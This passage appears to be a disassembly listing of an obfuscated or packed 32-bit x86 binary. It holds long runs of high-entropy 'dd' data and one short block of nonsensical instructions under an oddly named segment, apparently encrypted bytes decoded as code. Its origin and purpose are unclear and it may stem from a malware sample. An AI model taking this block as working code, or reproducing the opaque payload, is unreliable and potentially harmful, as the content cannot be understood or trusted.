		dd 70F68EEDh, 1483FADEh
		dd 130DBB19h
		db 4Ah,	0BBh, 86h
byte_777777	db 22h			; DATA XREF: .data:off_42CA80o
		dd 0A79A042Ah, 5717921Dh, 0AD2EAAF8h, 1D6E3EAAh, 0B822D4D7h
		dd 0E7628521h, 8D688BD9h, 8D75D17Bh, 0C1E26DABh, 1FC7DEC3h
		dd 0B3469C02h, 4F38595Fh, 2CB9C23Bh, 27C4168Bh,	71F2CE14h
		dd 1F8C5D51h, 96AE1C4Ah, 3DE6E6E2h, 0C1E53ED6h,	1B40E7A9h
		dd 0B7CFC6C6h, 0F4B1EE4Fh, 0E99292B5h, 0AC278A6Ch, 0C36D2C8Ah
		dd 0CBC39DDDh, 0CFBAB6BFh, 0D3C95338h, 0D126B947h, 0E86B155Ah
		dd 0AE90B064h, 0B4FD86A5h, 0C066572Ch, 2B4D797Dh, 71DE70CBh
		dd 8DB2C85Bh, 2160E2C8h, 512D0FC4h, 0AB34E65Fh,	5863C6A1h
		dd 70F57292h, 58D4F753h, 5C152D82h, 15F839Dh, 7B32C86Eh
		dd 0D6DB35C7h, 0B4778203h, 9C3BAF52h, 7236ED76h, 8AC3ACB6h
		dd 9FF3FADDh, 0B8A4475Bh, 244DB21h, 325593A0h, 2C25A211h
		dd 3C77B168h, 77EFD402h, 0F5874BAAh, 6B327825h,	0FCC7CF8h
		dd 0C7CDF73Dh, 6C942A80h, 3F547672h, 41788852h,	71488AAEh
		dd 826BD595h, 7A6B53B4h, 1BECD0B4h, 0FC31FEDh, 459DB452h
		dd 0F65965EAh, 71CC6AD5h, 0CBF050B4h, 7352F731h, 507B0115h
		dd 10F288B6h, 8EBFE089h, 4530A168h, 0CAA8E55Ah,	0A40BB8B1h
		dd 6B5B2A8Ch, 0B548AEA1h, 815EAF30h, 5E93CAFFh,	89D4DF9Ah
		dd 0B3B1F16Eh, 0E6A2C22Ah, 717E96B5h, 5AD3EEB8h, 0DA92EB4h
		dd 0E9D9B48Dh, 0DFDF0377h, 5DABDA8Ch, 310B7B62h, 0F341BBBDh
		dd 0C2998B14h, 0F5561B68h, 0D488CABBh, 122B2330h, 8DF5D524h
		dd 68375EE9h, 0E15A5489h, 76B5F870h, 4AFB2B47h,	53C52486h
		dd 5AAC4063h, 989F1D99h, 40319A10h, 58F6F7F6h, 0D677F092h
		dd 959B777h, 2F5EACCEh,	0C8FF987Eh, 0FB177DD0h,	0B7764F7Dh
		dd 0A6D1681Bh, 0C45DDC60h, 0A6A54912h, 0A92B986Dh, 7C79BB01h
		dd 1F7EF0E0h, 7DCB8B97h, 59F005BFh, 0EE00FA38h,	5C015EB1h
		dd 0D7C6BE9h, 165D580Eh, 0C9500553h, 0DBF278C2h, 3A9781CAh
		dd 0BC14CE5Ah, 0B748D983h, 4A9272AEh, 0ED476EFDh, 9EF971F0h
		dd 6AB90186h, 96876E7Bh, 1E22981Ah, 0AC56948Dh,	0E970061Fh
		dd 0D4B9FA4Ah, 0E6AD29E7h, 14937C3Ch, 7AC3DF4Bh, 0F4B0C784h
		dd 843F88FBh, 0A4AAF1FAh, 1E7D1BC8h, 2A3CF3A3h,	76078848h
		dd 45105FBFh, 0C5FB49C5h, 87E3E7BDh, 453AF5BEh,	8AECBB7Ch
		dd 0DD2BAC66h, 74B019F6h, 0D072BF9Ah, 5FC7AC8Dh, 21DFEC12h
		dd 0BFDDA49Eh, 0FE895E0Ch, 0ED18A93Ah, 3A9EEA55h, 26DE3C4Eh
		dd 0EA17BAC2h, 0A69E1DDEh, 8144E7D3h, 0F5BDB918h, 0C1A6032Dh
		dd 3D3C3303h, 3AAAE363h, 98AD5C27h, 68F582E5h
		db 5
byte_777A31	db 42h,	95h		; DATA XREF: sub_7476A3:loc_7501CFo
; ---------------------------------------------------------------------------


loc_777A33:				; CODE XREF: _0xtwbvzc:00777A5Fj
		push	ecx
		fistp	word ptr [ebx+42h]
		shr	ch, cl
		mov	ebp, 6B9368CDh
		pop	edx
		sub	edi, [eax+64h]
		cld
		fdivr	qword ptr [eax+esi]
		mov	[esi+edx*2+72h], cl
		aam	39h
		push	ebp
		xchg	eax, edx
		pop	ds
		sti
		inc	edi
		pop	es
		mov	edi, 821539EBh
		sub	dword ptr [eax], 0FFFFFFCBh
		xchg	eax, esp
		cmp	ah, [eax-18h]
		push	edx
		jno	short loc_777A33
		test	[ebp+42h], ecx
		sal	dword ptr [ebp-2Ch], 0DBh
		sbb	byte ptr [ecx+69h], 5Ch
		or	[esi-1Dh], ebx
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		mov	esp, [edi-1Fh]
		retn
; ---------------------------------------------------------------------------
		dd 24723CF9h, 57ED4462h, 8484FBF8h, 0E37D6A1Fh,	0FB492ABDh
		dd 82333D0Eh, 53D4A197h, 0C47E0730h, 0DEAC7A58h, 9491B388h
		dd 245A3633h, 1BB57DE0h, 894778EAh, 0AD97B6D8h,	3574BC80h
		dd 0F1511EF0h, 60A7C097h, 8B9433CAh, 19129FADh,	4A535A22h
		dd 0C20F3E15h, 0B3E38D92h, 0D9408702h, 0A1F4556Ah, 5DF7414Dh
		dd 89E0684Dh, 0F9237112h, 4E57748Eh, 7EBADF04h,	14C7696Bh
		dd 9211CB2Dh, 25DE7F3Dh, 0DEC8EF29h, 0D1B73C96h, 6F6B680Ah
		dd 4D32976h, 365BE455h,	40C0045Eh, 0A879C1E1h, 8EAE8791h
		dd 0E6E30B2Bh, 43B67827h, 2C0F81FBh, 0ADF1BF7Ah, 0DF1F8CE3h
		dd 71A4ACD4h, 8A87291Fh, 94460D7Fh, 5B7E1455h, 9209322h
		dd 0A8531618h, 3ADE687Fh, 95565C40h, 27886A04h,	79389865h
		dd 684C55F2h, 8BFD5CDBh, 0E950DB87h, 0EB6F6263h, 0A729A0h
		dd 0CB645273h, 0FD4790BDh, 7C1E630Fh, 87B77ABh,	3E682C28h
		dd 134C1123h, 2BA686E2h, 0C045E8F0h, 6C02B8D0h,	638F312Ah
		dd 0F89DB899h, 528956A1h, 0A771ED7Dh, 0E7FD4F17h, 0E1AB01BEh
		dd 7C8BE3CDh, 0BD815A38h, 215F5D46h, 0C296F764h, 0F95179C8h
		dd 9F11B09Ch, 4B657D55h, 0D6847F05h, 6ADA713Eh,	6FFB138Dh
		dd 68ADA37h, 3B9A0E27h,	591FDCEDh, 0C156A234h, 5B0E85FEh
		dd 0C056EB91h, 175E88E2h, 797ECBB0h, 0EA0D03F9h, 2F0A6E8Fh
		dd 6E92D68Ch, 0C14B851Ah, 0A44A230Fh, 7744E441h, 2603C9F8h
		dd 0B55CA21Bh, 7C003C05h, 52F04F26h, 86E2B9F9h,	5C347C4Eh
		dd 84E024BEh, 7271931Bh, 0B4B62C32h, 0B1C14A74h, 9648F768h
		dd 0CEDF4940h, 0B211397Bh, 0FBC3229Eh, 68DDF02Bh, 0B2D10181h
		dd 6F63D690h, 0CCCA74EBh, 2AD02091h, 0A6BA4CE7h, 1B2CED52h
		dd 928B5499h, 0E3276950h, 0CEB27CD5h, 570C0057h, 8B130A49h
		dd 15BDAFA4h, 56BFEC74h, 4F224BDAh, 636754FEh, 5ABFBE48h
		dd 0A82F945Eh, 0C3CD5618h, 0E4948963h, 0C41F4A84h, 9D620C0Eh
		dd 13E4956h, 86B6DD71h,	6D7F1708h, 1E1E56ACh, 35482515h
		dd 109575F6h, 0B60FAF81h, 9E56412Eh, 0C99103C9h, 0F8047ECBh
		dd 168D98C2h, 0D559CB1Ah, 474A3D36h, 989713CEh,	0F43F1380h
		dd 5F28FC62h, 610B22E9h, 7670A6BFh, 0DBB36898h,	57A435D6h
		dd 4721390Ch, 4E1C941Ah, 0F77E823Eh, 51AC3174h,	0AE3934D9h
		dd 8545AB59h, 0D7097030h, 0C3AECBEFh, 384D2FF7h, 6B5227B8h
		dd 3BFAA22Dh, 25AB29BCh, 0A88BFA94h, 5B168144h,	299B44F6h
		dd 8949BBAEh, 0E90EDFC6h, 9C52A3D8h, 15BD3C5h, 2EC6C3B8h
		dd 237ACCFDh, 59828739h, 4D77D28Bh, 0AC812202h,	0EEF83999h
		dd 0B8B70090h, 0F6DF67DCh, 0B6EF895h, 0BA782792h, 185ADD32h
		dd 2DD97C7h, 673D11A2h,	2F3EBC38h, 0E662FB49h, 0A2826C5Ch
		dd 88DE7516h, 0FAA54CCFh, 35010960h, 0EF1D518Dh, 0DBE4FDC7h
		dd 0C5FF6DAAh, 38D82757h, 0A74D9B4Dh, 565DC932h, 0C87BB3E5h
		dd 1C0979A0h, 0D66E333Eh, 978BFE0Eh, 6988E3C5h,	9D8A2E8Ch
		dd 0D356FB22h, 62D6BBEh, 55874A44h, 0B7B51002h,	60BEE202h
		dd 0C224EE2h, 3BFBF232h, 0ECE09A47h, 0DD7C07BDh, 571F6F2Ah
		dd 0B317F1EEh, 7865D749h, 0C3F6E163h, 463EF66Fh, 0D62C62A1h
		dd 0ED619D79h, 0D2AD6844h, 5C75B775h, 8DC7C954h, 0D186A695h
		dd 1CBECB89h, 0E32BD4ADh, 0A9D794E2h, 0C2A5F09h, 1DC3DDDEh
		dd 0ACE0368Ah, 3B05C51Fh, 0DDA47C31h, 8A16EE56h, 45E06CBDh
		dd 0B70696C5h, 226A9433h, 0AF675C02h, 95B65513h, 5860D784h
		dd 0BE501752h, 0D8CEBE6Bh, 485F6439h, 0EADD0EF3h, 297ADD59h
		dd 4D12D7ADh, 8AD4EA96h, 0FAD5F33Eh, 0A594C16Eh, 0F4F9C01Ch
		dd 0C21688AFh, 4F74CB46h, 5519A543h, 1A5DDC35h,	0DD697ABBh
		dd 2150D33Eh, 0D67BFF9Dh, 64758816h, 104250F7h,	6738123Ah
		dd 3CD7FEA8h, 774E7E58h, 997DF2Bh, 4B4AB9F4h, 0B5358C9h
		dd 0AAE78827h, 932A039Ah, 0D5DEA5E0h, 2F47EB06h, 24B71BE8h
		dd 9A972625h, 9EE3C737h, 1E592310h, 0F3A6DF95h,	9B3F0FC1h
		dd 0B0AACAE0h, 0BAC71E29h, 71996288h, 54AF8B61h, 71EAB46Ch
		dd 8859EFD6h, 5F7ADCA9h, 7211B4D2h, 2577A076h, 0D910A9D6h
		dd 72F020ACh, 0E2DEC1C2h, 0E70D6AEDh, 6890C0Fh,	4416DFF1h
		dd 946F2B8Fh, 64622E94h, 0E8D49FADh, 0F55725C8h, 39609280h
		dd 0D497BF18h, 1856B93h, 0C9ABC0B0h, 0CA2C9FEFh, 9320193h
		dd 0ABA5B672h, 877BF942h, 10EB087Eh, 5465ED70h,	0A048E17Fh
		dd 3B88D40Dh, 64BA983Ah, 0FE0FB43Eh, 0A0213852h, 75B52214h
		dd 51821194h, 71C9B560h, 0FF7ED35Dh, 88C424F4h,	0EEB7542Eh
		dd 26F612EFh, 84A810ADh, 8B2DF0FDh, 561F0DBCh, 0CF557BA2h
		dd 0D5A68933h, 0DA5785E5h, 0E6771BF9h, 3271B4D6h, 702E14FBh
		dd 4B7EF292h, 2A1FEBB8h, 84F1AE6Bh, 838B7EA6h, 0A8D67F97h
		dd 94858A8Dh, 6ED013E0h, 0A3C62ABAh, 0FC663CA0h, 0F383FFB0h
		dd 562619EEh, 3699EB89h, 0F1F6A86h, 0DFCEDFB7h,	0DEA30F25h
		dd 62EC17FDh, 45ABD3FDh, 66235B53h, 555EE5E1h, 12C2DE5h
		dd 0E99CBA47h, 39352A95h, 45C4ABDAh, 4B8C8EBFh,	0F3FC82CDh
		dd 0B5A1510Bh, 68AA19AAh, 0DDC4A592h, 277D4EB1h, 0DE076665h
		dd 0E76D4830h, 6BD3D336h, 5EF81532h, 51F1BE37h,	91C5689Bh
		dd 0C14D6A23h, 0BF25507Ah, 9BFAB4EAh, 42AD58BEh, 6F6F8FC9h
		dd 0D579A906h, 0D1CEC862h, 0DF700D1Dh, 0B01DAF7h, 486159BFh
		dd 623607E4h, 0EDF07D04h, 0DE547CD3h, 41247E17h, 0F84745D4h
		dd 0F52BBFFBh, 0ABA2CAE9h, 5A1C447Fh, 0AAEBDCAFh, 36F77318h
		dd 4F4F7891h, 0E5A43F74h, 0E642A393h, 721FFF39h, 3AB916C8h
		dd 0BAB18FCAh, 0D552889Dh, 0DF4ECC6Dh, 299D29ADh, 0A13D0F86h
		dd 2AEFFBABh, 6881EEB5h, 0E7964169h, 793B5B15h,	0AEFAC460h
		dd 74DFB3D6h, 0BEE188A6h, 0DEAF0E40h, 6EF8D526h, 0C381E523h
		dd 0D7843C78h, 0E45DF5E1h, 0C449B953h, 0C028528Ch, 18CFB24Bh
		dd 4AD10E3Ch, 897F0CD4h, 79BE15AEh, 773ECA74h, 15E2C77Ah
		dd 53C9670h, 0AEB6414h,	99D60E70h, 22F878CBh, 2F3E92D1h
		dd 0A6BE66F7h, 0C7C1964Fh, 0D66458FFh, 5E96AA15h, 376B7161h
		dd 0B6A43E36h, 0A63EC0AFh, 0C0A2FA0Fh, 8FED53E3h, 0EE9243FFh
		dd 6FB22371h, 5B36BE2Ch, 0C1BB04B6h, 205B07F1h,	0A9DA4DE2h
		dd 25C378E8h, 9BC97114h, 49E67A55h, 6EA93C27h, 0BE834AE1h
		dd 3CEEF04Eh, 0FC057AFh, 58B2B021h, 0FE171C52h,	0A5DE63DFh
		dd 89A958CEh, 62E96A40h, 78D27A03h, 0E9F534D6h,	0B78E2AAAh
		dd 0A02E2AF8h, 6D1CFB69h, 9D9AFFA1h, 5D6C968Bh,	56A45989h
		dd 7D399391h, 84A85914h, 0D9EED5FEh, 0DA7DBFEAh, 0AB09CE41h
		dd 6D17236Ah, 0E8DA26A7h, 913EF52Eh, 0E606C7EAh, 0E567A90h
		dd 24A5CC36h, 0BCB41ADAh, 311B576Bh, 46735B39h,	0ADB2EBEDh
		dd 93FA21FFh, 0E2C81B92h, 0D3AB82C8h, 0DDB22937h, 45E7AB62h
		dd 0FC97F81Eh, 0B3D80D3Ch, 7617F444h, 632FEA28h, 8DD0F6D5h
		dd 66AF898Dh, 0FEA6235Ah, 87F04E5Dh, 0B32307F7h, 3C6A5815h
		dd 1B35B9E7h, 5414C4B5h, 81194357h, 640F6DE6h, 546D7768h
		dd 0FCFEEB1h, 8B407CBBh, 0DE9FC0F4h, 3DF9BC2Dh,	0BB8686C2h
		dd 0D4B66BC5h, 4A765FEFh, 452DFDB9h, 2AA491A3h,	0E22AF51Ch
		dd 5527CD58h, 6815FF74h, 39BEDDA7h, 0A9CA1E0Ch,	1D685EF3h
		dd 0BD12D27Bh, 7B96D4C9h, 6D19BC61h, 0E724EC4Fh, 18B97BD6h
		dd 62D6AB10h, 9F6F04FFh, 173E2608h, 1DFDF0A0h, 4972A379h
		dd 0ED839A9h, 0DC438A17h
		dd 0ED37D98Ch, 3D059F1Ah, 2C776416h, 30F520F5h,	6E1B7681h
		dd 0A2CB55E7h, 0B46D0A7h, 0B26B87C1h, 7E01B25Eh, 0F0734E9Fh
		dd 774A9576h, 0D8BABB8Fh, 86B2D47Fh, 0CBC18D79h, 894255FAh
		dd 0C0C24472h, 86D5975Ah, 0CBA2FD2Ch, 5F15D57Bh, 0FA40F065h
		dd 0C01AFE24h, 0DBE587Dh, 0F79EF235h, 4A6D9015h, 83F88505h
		dd 0DA5BEDFEh, 31E31D61h, 0F87E4786h, 7E72F939h, 0E4FDAF7Bh
		dd 0DF798264h, 0BE3723B8h, 0D34D2181h, 3129A4D1h, 47F24AC7h
		dd 46A275E1h, 11A83132h, 0D8ACE46Dh, 2C51E7DEh,	78DEE7Fh
		dd 53174FC7h, 40B11934h, 0ECEF01A4h, 0E67A2FF0h, 0B40B3804h
		dd 387E69F7h, 0DE7F63DFh, 7A053E43h, 0E553E124h, 44B6B1BEh
		dd 42B6A997h, 0E3A5C2E7h, 0E2FB2BBEh, 1D48FBD0h, 7A4B359Eh
		dd 0DED9B75Ch, 0D1EA3F0Ah, 0C52B1D4Eh, 2C0FB17h, 13ABA249h
		dd 157BF2F5h, 9E0E8710h, 45983C73h, 0A6C3B466h,	0BA4279FAh
		dd 0C75F1CBh, 0C5DF0AEAh, 0F0C64AD1h, 0F1ABCADDh, 6AEE3BF9h
		dd 0D3245E12h, 11B38BACh, 501015F4h, 0F692AF69h, 529C15D6h
		dd 0F0B0CC49h, 766A1791h, 35E3C8Eh, 562CD9DFh, 0E5AA0666h
		dd 48E61F9Fh, 0D015FB58h, 6B460F17h, 0FB6C1C49h, 74FFD3FAh
		dd 4A83B6C7h, 0BAE28AE8h, 16702D1h, 0C4FBC5A1h,	26A0E144h
		dd 5992BA6h, 0A2F174E4h, 26BAE0FAh, 0F2D3E1Eh, 284E473Bh
		dd 219ACEB4h, 0C788D3BAh, 4C1E7557h, 101C75BDh,	0A2939A16h
		dd 994828A1h, 42CC087Fh, 0C0613395h, 5FDC742Ah,	9715EFC3h
		dd 864D98A9h, 0C9D50732h, 9D726372h, 0EF6D904Bh, 0BF1D0CA5h
		dd 33FB96AFh, 2B125F1Dh, 592602AFh, 45BA4AFFh, 0F003FD77h
		dd 576380EBh, 198D2D31h, 0D0E57F85h, 0AE1AAE11h, 0D93B3C98h
		dd 9ADDAA84h, 8D836F64h, 7F561F8h, 4DB6C686h, 18AB5EBDh
		dd 0F5FCC08Bh, 58FBE260h, 7760E5A2h, 1147F17Ah,	686C4A69h
		dd 0B4456AAh, 0D96A7DA4h, 67950E59h, 0C3F7B3E1h, 0DA1769C0h
		dd 4E6323ADh, 4021B16Eh, 95504912h, 508C6EA4h, 0E7BDE795h
		dd 62E4A5E5h, 316E54EAh, 12C8AA6Eh, 28AF871Dh, 0B0A2BBB3h
		dd 3752D04Dh, 4EA33E45h, 0C0A2B475h, 1D3914F9h,	0A0AEEB43h
		dd 3847DDB2h, 10BF4093h, 3F05969Eh, 84059B24h, 0C1E2BDB6h
		dd 53755B3Bh, 9F2BB86Bh, 9B797C38h, 0EF4112B8h,	70EAEF0Ah
		dd 22357793h, 32F38028h, 565C1B44h, 6F8817D5h, 0D34D5EA3h
		dd 8E47E8EBh, 0D9AD9BF0h, 42D79700h, 0E63197A1h, 0B5D003ADh
		dd 6B445200h, 3984FD14h, 0D3A51AE1h, 469BBF01h,	8097864Eh
		dd 0B09FA74Dh, 3B16F477h, 0B9AD2018h, 3C9F9A6Eh, 0BAF60E60h
		dd 15AD0DC8h, 6166955Bh, 371516F5h, 2FA2C85Bh, 0CF8687Fh
		dd 0BA48DCFDh, 8E0CA25Bh, 6959A566h, 5335BEEEh,	87FE2C41h
		dd 3CF5A71Ch, 379C99CEh, 55F24362h, 7D05F267h, 0B6F207A5h
		dd 52483C0Bh, 7D1CA7h, 0BF1F6BEDh, 1BA7B636h, 0D95C48BFh
		dd 55053DD4h, 0C768616Fh, 5B966A0Bh, 120215A8h,	22DBB757h
		dd 28B7B54Fh, 8DFA32AEh, 7911BF30h, 0A301EAF0h,	7E445AB5h
		dd 9D870698h, 4B6E74F1h, 76DB8D54h, 0E29A0779h,	0AEFE5371h
		dd 7F1DE53Ah, 83D72861h, 3E4F5147h, 0B317E40Fh,	7CA62940h
		dd 0B5554455h, 24B2BA75h, 0F1400DECh, 971F28EFh, 0AC80AE8Fh
		dd 0D6DDF28Ch, 3AD73F97h, 0EAF67C86h, 3C0970DBh, 47BEF0F1h
		dd 6CF97B6Ch, 0ED275C0Dh, 0FC2F539Ch, 0D429DE57h, 0FC7CEFA7h
		dd 0D1E0B312h, 0F638D07h, 23BFE77Bh, 35D2956h, 0F1ED7B4Eh
		dd 92AE0B99h, 67AF10AFh, 4921C749h, 587CA8C2h, 0EBE4CBFCh
		dd 124133F2h, 0AF81DD46h, 74239588h, 0D131359Bh, 741DB6E6h
		dd 0DC0F97D5h, 0F9D56F29h, 0F8FF077Dh, 8B765AA1h, 348593A5h
		dd 9A2924EAh, 3BE17E08h, 9B581DD5h, 7B8BE30Eh, 78341249h
		dd 6DB58E0Dh, 0A755B275h, 684FAAE6h, 968B7621h,	7C894E3Bh
		dd 523EB5ECh, 62936DBCh, 0CAEC3BB9h, 9B731FE5h,	0E9C80837h
		dd 0BEC26713h, 0C787BDF2h, 2E5A847Fh, 4ED1FABAh, 4467E885h
		dd 2970F2DAh, 9D802EF3h, 0D557FE70h, 0ABFFAB15h, 103DE5E4h
		dd 3870BA7Eh, 0C9F79D4Eh, 2D81FC6Fh, 0E41A6542h, 6D4AEAC6h
		dd 4E08998h, 806E9557h,	0ED3B117Fh, 60B3F9Ah, 0F47C192Ah
		dd 5C4A87C1h, 0DB18289Fh, 12D3BB60h, 0AFC2F5D5h, 5EA006C3h
		dd 0C2F79487h, 2065147h, 2C7C660Ah, 0AECA2A75h,	457026D1h
		dd 218DB533h, 0B1A84AB2h, 6B576966h, 14BF0A77h,	0C6BA4D0Fh
		dd 0FAFA8F2Dh, 0C6A8E78Bh, 0BD06B198h, 6990BFCCh, 3DE01D7Ch
		dd 0AD3BF426h, 0C54355F1h, 0B2AB396Dh, 5F6751F8h, 919F7E7h
		dd 6CD12AC5h, 8979069Fh, 31D54FEEh, 9C61B820h, 657BAB46h
		dd 553801C6h, 2D1E69F3h, 0E594A351h, 6C587F88h,	974F8828h
		dd 0EF956A03h, 0BDBFCA06h, 6B1A7BC6h, 5660CDFh,	0AEF29226h
		dd 0E2BC2CADh, 0B0F331F1h, 78EE5E70h, 0EA3CDCAEh, 0CCA72EA8h
		dd 387D0AAAh, 5F90FBCDh, 7657AD91h, 6A9E73ADh, 0F1EDDB67h
		dd 0E339B91Bh, 0FCD9C0F3h, 50FC5F0Ah, 0FA257D32h, 0DCEB752Ah
		dd 0B4153C99h, 2B725316h, 7E2FA8B4h, 372EB79Fh,	6AA25643h
		dd 0AE5196B3h, 0E286F18Fh, 4F2D5D0h, 0FDC0AAEFh, 2988EEC2h
		dd 700B5998h, 0DB77BE5Ch, 0FE92A34Ch, 563DE559h, 0DF79FB80h
		dd 13E9744Bh, 0D17C5F00h, 936D59E3h, 0B8200A84h, 94F81A7Ch
		dd 530A5A2Dh, 6AC2E565h, 0AA04AFD9h, 4CA45BEDh,	1683B405h
		dd 79FBC2CAh, 50463494h, 914B9979h, 1F81E178h, 0DFFA4E6Eh
		dd 5F2EB75Ah, 8EC58484h, 563A899Ch, 0EF346F82h,	34651B14h
		dd 15411F7h, 83C5DE59h,	0AC7DDD23h, 0F8DC8FA8h,	419F938h
		dd 94990FF4h, 0F8189F46h, 0EFC128E5h, 0E94E06EBh, 7C45776h
		dd 914CFF4Fh, 7D15F22Fh, 0DB66EC87h, 0A295025Bh, 0EE7651E5h
		dd 1F30855Dh, 55AEB471h, 31551B4Ah, 8107C8DEh, 0B44B7B85h
		dd 0B0190FC8h, 5D61C8D7h, 534E94BFh, 66F74CB2h,	0E89DC41h
		dd 5B1C7F50h, 1B00C502h, 6AD602BEh, 9F19973Fh, 75BF3B6Ah
		dd 586468BDh, 0A68B9B95h, 5A245C7Eh, 7FB8B92Ch,	7D3B3A81h
		dd 0C4B3EF5Bh, 0F8ABE185h, 915825CCh, 8D35BD86h, 273E3AFAh
		dd 0EF559F36h, 2C0D6CBAh, 248B272Fh, 580114F0h,	0B3D12CF4h
		dd 0F2A5833Eh, 987F72A6h, 9FFB99D9h, 0F6696E8Ah, 8CEE54F5h
		dd 7FA61FDFh, 7F6FA0EBh, 0B63E6DA2h, 0DB4F0A78h, 986320BEh
		dd 6FCC289Dh, 4A1C02DBh, 0D43DA95Eh, 0ED5CB06Fh, 963045E2h
		dd 0A7C90EB8h, 81EEE60Bh, 587E42BBh, 2D26FCEBh,	0E017C17Eh
		dd 0CEE1A326h, 0FDD6E718h, 9E047245h, 6BC8CAF5h, 6BC85F8Dh
		dd 0FC08C861h, 50FC9EDh, 0F4C3EE52h, 0E3E1C67Dh, 1F445F26h
		dd 1E55FA78h, 0B7493A29h, 0C97D07A8h, 0C7757F9Fh, 0F6DAE6E3h
		dd 4D8A24Dh, 672F6FAAh,	3F672774h, 3E17BDB5h, 3E40FC0Eh
		dd 4CD48F3Eh, 5F7E5F91h, 0ADF35FA9h, 51B00409h,	44CEA114h
		dd 36AFD169h, 0E87241FEh, 8B690357h, 8A6AEA8Ah,	6278F414h
		dd 8C3CBDDAh, 0CA1435D8h, 2CC2B793h, 0C1F779C0h, 3BE140B1h
		dd 0ECDA33A6h, 4C999E3Ch, 2383EB5Bh, 3F597EEh, 0E5FBCB33h
		dd 68036157h, 49F354Eh,	0A37E2B4Fh, 69D83BA9h, 5F2B6543h
		dd 0D5DA8B87h, 2171CB68h, 0ACFE7CD5h, 8BDFD766h, 5E2FD516h
		dd 0C7A11F39h, 30D5E39Ch, 0ABBA1960h, 561EC0AEh, 0DF242037h
		dd 0B977B380h, 5D8516B1h, 857DED54h, 872B8533h,	0B6133F1Bh
		dd 0B92C56DDh, 7C2401C4h, 0B849D960h, 0F6DEA550h, 541E7E94h
		dd 0AE1AD463h, 2EC18345h
		dd 2DED8FC7h, 0F48CA25Dh, 0B4FF4F59h, 0ED7867CCh, 0A8D175E2h
		dd 0ED744E61h, 0B6116F74h, 0C36DF6A6h, 33E8C4FEh, 32AA9737h
		dd 41EF5398h, 15858F69h, 114C62FEh, 56DFF5B6h, 6EAC1CABh
		dd 5F616906h, 2B0AA2FBh, 5F812E87h, 3F9537B6h, 7F16E565h
		dd 7791BC61h, 50DF36E7h, 3081F078h, 5CDFB942h, 1D9FA3F7h
		dd 0DF450A53h, 54BE51D0h, 0EED67F56h, 9674B017h, 365CF421h
		dd 0E12EB4ABh, 5FFC0F1Fh, 0BD7E9CC4h, 0EBBCA7A8h, 41061D69h
		dd 0E3408BD8h, 0BB475DEAh, 7383F0F5h, 0F7836BB1h, 0E02857C0h
		dd 85486487h, 2A19AEC7h, 0ECBB48B3h, 4E6F14AEh,	185AA84h
		dd 17B2589Dh, 98D8E2DFh, 0DB46A16Dh, 0C0D4B7F9h, 0BB56BD77h
		dd 0AACFD6ABh, 287E562Fh, 8B570631h, 0A8B80E13h, 4D7B6BF6h
		dd 0F3A42978h, 0EA801D4Ah, 38FA1FCh, 2ABAC8E5h,	0F550D151h
		dd 0AB39AAE3h, 5ED1B457h, 0D2E41958h, 8516F97Bh, 0F9E4B891h
		dd 9A9F89FAh, 2EA2944Eh, 0EB7812BAh, 2CC68259h,	0D26D6C87h
		dd 445C4822h, 2EA04812h, 0AA3543BEh, 0F2A1F62Bh, 7F2A77AEh
		dd 7AD25B4Ch, 9C14217h,	9C773406h, 0AB69E3BEh, 0DFEB360Ch
		dd 999A5F2Fh, 0CA43F396h, 0A6A4AD29h, 4B9F8144h, 0AA97396Ah
		dd 0BB5554D7h, 5B6B0A5Ch, 0CB95599h, 8985B473h,	0C4E2A6B2h
		dd 0A9DBD1C6h, 9849CBEEh, 0BEA96CF2h, 1F3CC5A5h, 8A98A498h
		dd 47ED8AF9h, 0B03F28C4h, 38AB4671h, 58ABEDA3h,	514BE5EAh
		dd 0D16C90FCh, 29858BAEh, 0E29EA63Dh, 0D4BFBFBCh, 63FAA05Ch
		dd 5A74B7CAh, 9BFE4EA5h, 57E4F582h, 58E8FDC5h, 6EF82A09h
		dd 9F2870B1h, 0A78B02Ch, 0F0758297h, 0DAD1BA78h, 0ABF9FADh
		dd 0D489AECEh, 4DFA9316h, 0C3D7A7A6h, 3ED2A0C9h, 86DAD862h
		dd 0BF2EFF3Fh, 0A5D4DE54h, 0F8D18310h, 2018CBFAh, 6DF38DCDh
		dd 0CE1B2D58h, 0E7676827h, 616B8B9Fh, 0FBF47C75h, 5712B736h
		dd 0E21F0F70h, 8FE92C4Ch, 72AA8FB0h, 0E57D7DEh,	6CC4568Dh
		dd 5FFC37CDh, 5965A843h, 0FB07E697h, 6B692A39h,	0CC23C1D6h
		dd 8160DEACh, 0BFC683C9h, 8397B79h, 0A391CA80h,	96D77CA5h
		dd 48938268h, 0C0FEF75Bh, 2A5E4D90h, 67CE6B3Ah,	3E0B011h
		dd 93AF9265h, 43F18D69h, 7AEFF4A3h, 0A2333F3Bh,	7E160C25h
		dd 0EBF45D0Dh, 0ECEB8D5Fh, 0B5F55BBAh, 4407EA18h, 2AAA248Bh
		dd 0DEE84F9Bh, 3968DB8Dh, 5485AA92h, 6575815Bh,	0CE386ECEh
		dd 0E2960CCh, 9C6F7B1Ch, 0CF4F4AB4h, 0FC6BECA4h, 0AC5B1197h
		dd 3D1814CBh, 32A784A4h, 79295F7Bh, 5C5FF924h, 0BBD9A8FBh
		dd 195535C9h, 6ADB5108h, 0EFB92D29h, 2BFE173Fh,	5A2399CAh
		dd 5166356Bh, 54AEB557h, 9EF65234h, 2BBB34Ah, 5D7CBE92h
		dd 0ABFCFF72h, 226F9C0Eh, 7B0C28B3h, 0F7C43180h, 303F35C1h
		dd 52055449h, 0AEC1AEACh, 149E7773h, 0F4CFABFFh, 0C2DD08CCh
		dd 72D4B0BFh, 6F8F21DAh, 0B1FC24Bh, 217F91D8h, 22AE4624h
		dd 0C1568E69h, 6AA41EA4h, 0D180D2B7h, 6C95E561h, 81ECAC23h
		dd 91DACB4Fh, 0F8F45934h, 6781B854h, 4AEA10FCh,	5291D73Ch
		dd 0FA0A9A06h, 85619B24h, 2AEB1969h, 6A33EA26h,	59737B96h
		dd 41CAF6BBh, 0F0443C1Fh, 37FC57Ah, 0C7118AF0h,	0D4F16CA0h
		dd 0E6FA59AEh, 0C0FAC205h, 0ECE72D6Dh, 0CDBF3E31h, 6AA439A4h
		dd 0AD1A8CAFh, 2FCBFBF2h, 0C7A8148Eh, 9DAAC93Ch, 0BD88A017h
		dd 1D61415Ch, 0D37F6258h, 0D15D5217h, 33CBEA0Ah, 3BBFDB60h
		dd 2429A7C9h, 86FFF6DDh, 245D361Bh, 8BF11E30h, 7205E15Bh
